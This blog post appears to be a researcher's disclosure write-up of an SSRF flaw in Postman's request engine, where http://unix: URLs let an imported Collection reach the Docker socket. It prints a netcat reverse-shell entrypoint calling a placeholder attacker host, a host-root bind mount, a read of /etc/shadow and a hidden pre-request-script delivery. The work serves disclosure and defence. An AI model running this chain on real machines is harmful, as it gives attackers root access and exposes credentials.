Disclaimer: This article is for educational purposes only. Every request shown here was sent against my own machine, my own Docker daemon, and my own containers. Do not point any of this at infrastructure you don't own or don't have explicit permission to test.
Hi everyone! Hope you're all doing well.
Most of my writeups here start with a target: a login form, a wedding invitation, a coffee ordering app. This one is different — this time, the target was the tool I use to attack all of those. Postman.
I open Postman every day. So does basically everyone else doing API testing, bug bounty, or backend development. It's the one app on my laptop I trust without thinking twice — I import collections from teammates, from vendor onboarding docs, from public "Run in Postman" buttons, and I click Send without reading every single header first.
That trust is exactly what this article is about.
So here's the story of how a single, boring-looking API request — the kind you'd import and run without a second thought — turned into root access on the machine running Postman.
Why Attack the Tool Instead of the Target?
I got curious for a fairly mundane reason: postman-runtime, the engine that actually sends requests when you hit Send, is open source and explicitly listed as in-scope on Postman's own vulnerability disclosure page. Most people who use Postman have never opened that repo. I had a free weekend and nothing better to break, so I did.
The question I had in my head was simple: when I type a URL into that request bar, what does Postman actually do with it before the bytes leave my machine?
Down the postman-runtime Rabbit Hole
Postman doesn't use the popular request npm package directly — it maintains its own fork, postman-request, currently shipped as 2.88.1-postman.42. Forking request means Postman inherited every feature that library ever had, including one most people have never used on purpose:
}, M.prototype.enableUnixSocket = function() {
var e = this.uri.path.split(":"),
t = e[0],
r = e[1];
this.socketPath = t, this.uri.pathname = r, this.uri.path = r, this.uri.host = t, this.uri.hostname = t, this.uri.isUnix = !0
}
Translated: if your request URL looks like http://unix:<SOMETHING>:<PATH>, the library splits it on the colon, takes the first half as a raw socket path, and dials it directly — no DNS, no destination check, nothing. This isn't even a secret feature; it's how curl --unix-socket works too. The difference is curl requires you to type --unix-socket on purpose. Postman lets it live inside an ordinary-looking URL string.
Which meant one thing immediately came to mind: Docker listens on a unix socket, and Docker's API doesn't ask for a password.
A Guard That Guards Nothing
Surely Postman thought of this already — a tool built for security-conscious developers wouldn't ship arbitrary local-socket dialing without a leash. So I kept reading, and I found exactly the guard I expected:
isAddressRestricted: (e, t) => t.restrictedAddresses && t.restrictedAddresses[e && e.toLowerCase()]
An SSRF guard. Checks a request's destination against a blocklist called restrictedAddresses. Exactly what I'd want to see here.
So I grepped for every place restrictedAddresses gets populated — main bundle, worker-thread bundle, vendor chunk, sandbox chunk, all four shipped copies of this code.
Nothing. Not one line anywhere in the shipped app assigns anything to restrictedAddresses. The guard is real, it's called, it's not dead code — it's just checking an object that is always empty. A lock with no key ever cut for it.
That alone would already be a finding. But then I traced where this guard actually gets wired in, and it got worse:
(g.restrictedAddresses || I === f || !B && R === f || g.hostLookup) && (l = e.proxy && !B ? Number(e.proxy.port) : Number(P) || (M ? 443 : 80), i.isFinite(l) && (m.lookup = S.bind(this, { port: l, network: g })))
This guard is only ever attached to Node's DNS lookup() hook. And Node's own http module skips hostname resolution entirely the moment socketPath is set — which is exactly what enableUnixSocket() does. So even in a parallel universe where someone remembered to populate restrictedAddresses with every RFC1918 range and the cloud metadata IP, it still wouldn't matter for this specific request shape. A socket path was never going to match an IP blocklist in the first place.
Two independent bugs, stacked on top of each other: the blocklist is empty, and the mechanism structurally can't see this class of request even when it isn't.
Confirming It Reaches Anything I Point It At
Before touching Docker, I wanted the simplest possible proof: does this actually dial an arbitrary socket with zero restriction, using the exact library Postman ships? I stood up a throwaway listener and hit it with postman-request directly:
node -e "require('postman-request')('http://unix:/tmp/pm-poc.sock:/proof-of-ssrf', (e,r,b)=>console.log('client got:', e||b))"
The listener printed a full GET /proof-of-ssrf HTTP/1.1 request. No prompt, no warning, no restriction of any kind. That confirmed the theory — now it was just a matter of picking a socket worth dialing.
Knocking on Docker's Door
I tested this both on native Linux (/var/run/docker.sock) and on a real Windows 11 box running Docker Desktop, since Docker Desktop doesn't expose the same unix socket path — it exposes a named pipe instead, \\.\pipe\docker_engine. Node's net module (which postman-request sits on top of) treats a socketPath as a named pipe on Windows automatically, so the exact same http://unix: trick works there too — you just point it at the pipe:
http://unix:\\.\pipe\docker_engine:\version
Sent straight from Postman's request bar, no code, no scripts. One catch first: Docker's API rejects any request that arrives without a Host: localhost header — a 400 Bad Request: malformed Host header otherwise. Add that header, and:
200 OK, straight from the real Docker Engine API — platform name, engine version, kernel, containerd, runc, all of it.
That single response told me the exact host I was talking to: Docker Desktop 4.83.0, Engine 29.6.2, a WSL2 kernel underneath. Not a mock, not a sandbox — a real Docker daemon answering a request that never should have reached it.
Why this matters more than it looks: that Host: localhost requirement is also the reason a lazier, zero-click version of this attack (redirecting a victim's browser or an unrelated request into the socket) doesn't work — Docker's own Host-header check kills it before it ever reaches the API. The delivery has to come from something that can set that header on purpose. A Postman Collection can.
Two Requests, One Root Shell
Docker's API being unauthenticated by design isn't news — it's documented behavior, and it's explicitly the reason I'm not treating Docker itself as the vulnerability here. What matters is that postman-runtime's own guard was supposed to stop an untrusted Collection from ever reaching it, and doesn't.
So I built the most boring-looking Collection I could: "Service Health Checks DEMO" — two requests, named exactly like something a vendor would tell you to import before an onboarding call.
That's the whole "attack." Two requests. Nothing about the names suggests Docker is involved.
The real destination lives behind a Collection variable, {{gateway}}, set to http://unix:\\.\pipe\docker_engine:. If you only glance at the request bar, you see {{gateway}}/containers/create?name=hc_demo_2 — a generic-looking placeholder URL, never the raw socket path.
Request 1 — create. 201 Created, a fresh container Id handed back. The Params tab looks completely harmless; the real payload lives in the Body.
The body of that request is where the actual damage is defined — a container image, a shell entrypoint, and one Docker option that turns "run a container" into "escape the container":
{
"Image": "alpine",
"User": "0",
"Entrypoint": ["sh", "-c",
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {{ATTACKER_IP}} {{ATTACKER_PORT}} >/tmp/f"],
"HostConfig": { "Binds": ["/:/host"] }
}
HostConfig.Binds:["/:/host"] mounts the entire host filesystem into the container at /host. User:"0" runs it as root. The entrypoint is just a busybox-style reverse shell — no -e flag needed, no exotic tooling.
Request 2 just starts what request 1 created:
Request 2 — start. 204 No Content. That's the container running, right now.
Two clicks. A test script auto-saves the container Id from request 1's response into {{cid}}, so request 2 doesn't even need manual editing — or you just run the whole Collection once from the Collection Runner, which is one action, not two.
On the listener side, the connection landed and I was root — inside the container, with the host filesystem sitting right there at /host:
id # uid=0(root)
cat /host/etc/shadow # real host file, root-only, read from inside the container
On native Linux, /host is the real host root filesystem — full stop, game over. On Docker Desktop it's one layer more interesting: the container escapes into Docker Desktop's internal WSL2 utility VM first, not straight into the Windows NT host. From inside that VM, the real Windows C:\ drive is still reachable, through a 9p drvfs bridge Docker Desktop uses internally for volume mounts — at /host/mnt/host/c, not the path you'd guess first.
Gotcha: my first check was ls /run/desktop/mnt/host/c with no /host prefix — "No such file or directory," which looks exactly like drive-sharing is disabled. It isn't. Every host path from inside the escaped container needs the /host prefix, because Binds:["/:/host"] mounted the VM's root there, not the container's own root. The real path is /host/mnt/host/c. Cost me a confused half hour before I checked mount | grep drvfs and understood why.
Either way — Linux or Windows, socket or named pipe — the shape of the outcome is identical: an imported Collection reached a privileged local IPC endpoint that postman-runtime was supposed to keep it away from, and turned that reach into arbitrary command execution as root.
Why This Isn't Self-XSS
The obvious triage question for anything requiring "victim imports and clicks Send" is: didn't the victim just attack themselves? Two things say no.
First, attacker and victim are different people here. This Collection travels the way real Collections travel — a shared team workspace, a vendor onboarding document, a public "Run in Postman" button. The person who authored the malicious request and the person who clicks Send are not the same person, which is the whole premise self-XSS exclusions are built to rule out.
Second, the victim never sees the real destination. It's hidden behind a Collection variable before the request is ever sent — the request bar shows a generic {{gateway}}/containers/create, not a raw socket path. "The user saw and approved what they were sending" doesn't hold when the thing being approved is a placeholder.
There's a quieter version of this too: pm.sendRequest(), callable from a Collection's pre-request script, goes through the exact same vulnerable request path — not a separate, sandboxed one. That means the malicious call doesn't need to be a second, suspiciously-named item in the Collection at all. It can fire silently from the Pre-request Script tab of a single, completely unrelated-looking request, before that request is even sent. The victim's one click on something that looks like "Check local service health" is enough.
While tracing this root cause, the same missing-destination-validation pattern also showed up in two other places in Postman: the gRPC client, where TLS certificate verification turned out to be off by default unless a request explicitly opts into strictSSL:true; and the WebSocket client, which reaches arbitrary internal TCP services with fully attacker-controlled headers (correctly secure-by-default on TLS, at least). Same class of bug, different IPC channel — reported as separate, companion findings.
Severity and Disclosure
I scored this CVSS 3.1: 9.6 (Critical) —
AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Remote delivery via a shared Collection, one Send/Run action required, no credentials needed, and impact that crosses clean out of the Postman process into a completely separate security scope — the Docker daemon, and from there the host.
I reported this to Postman through their private HackerOne program, against postman-runtime — the exact repo their own scope page names. Docker's unauthenticated socket is outside their control and outside scope, so the report is framed squarely as what it is: an SSRF gap in Postman's own request-sending path, with the Docker chain included as impact demonstration, not as a separate claim against Docker.
What This Means for You
You don't need to run a bug bounty program to be affected by this — you just need Postman and Docker installed on the same machine, which describes a huge share of the developers and pentesters reading this.
- Treat imported Collections like unsigned scripts. A Collection from a teammate, a vendor doc, or a "Run in Postman" button can carry a request whose real destination you've never actually looked at.
- Check what's hiding behind Collection variables — especially ones with generic names like
{{gateway}}or{{baseUrl}}— before you hit Send or Run, not after. - Don't assume the Params tab tells the whole story. The dangerous part of a request usually lives in the Body, not the URL bar.
- If you're on Docker Desktop, Enhanced Container Isolation (a Docker Business feature) is specifically designed to block
Binds:["/:/host"]-style escapes — it's the one control I found that plausibly stops this chain upstream of Postman entirely.
Conclusion
I didn't set out to find an RCE. I set out to answer a small, nagging question — what does my own tooling actually do with a URL before it leaves my machine — and the answer turned out to be "more than I expected, and less safely than I assumed."
That's the part I keep coming back to with research like this: the interesting bugs aren't always in the thing you're testing. Sometimes they're sitting quietly in the thing sitting on your desktop, open in another tab, that you trust precisely because you never thought to ask it any hard questions.
Key Takeaway: the tools you use to hunt bugs are software too — and software you run every day, without reading the source, is exactly the kind of software worth reading the source of.
Maybe that's all from me. I'm RyuuKhagetsu, see you in next article.
Watch It Happen
If you'd rather see the whole chain end-to-end instead of reading it — import, Send, Docker answers, root shell lands — here's the full proof-of-concept recording: Watch the PoC video.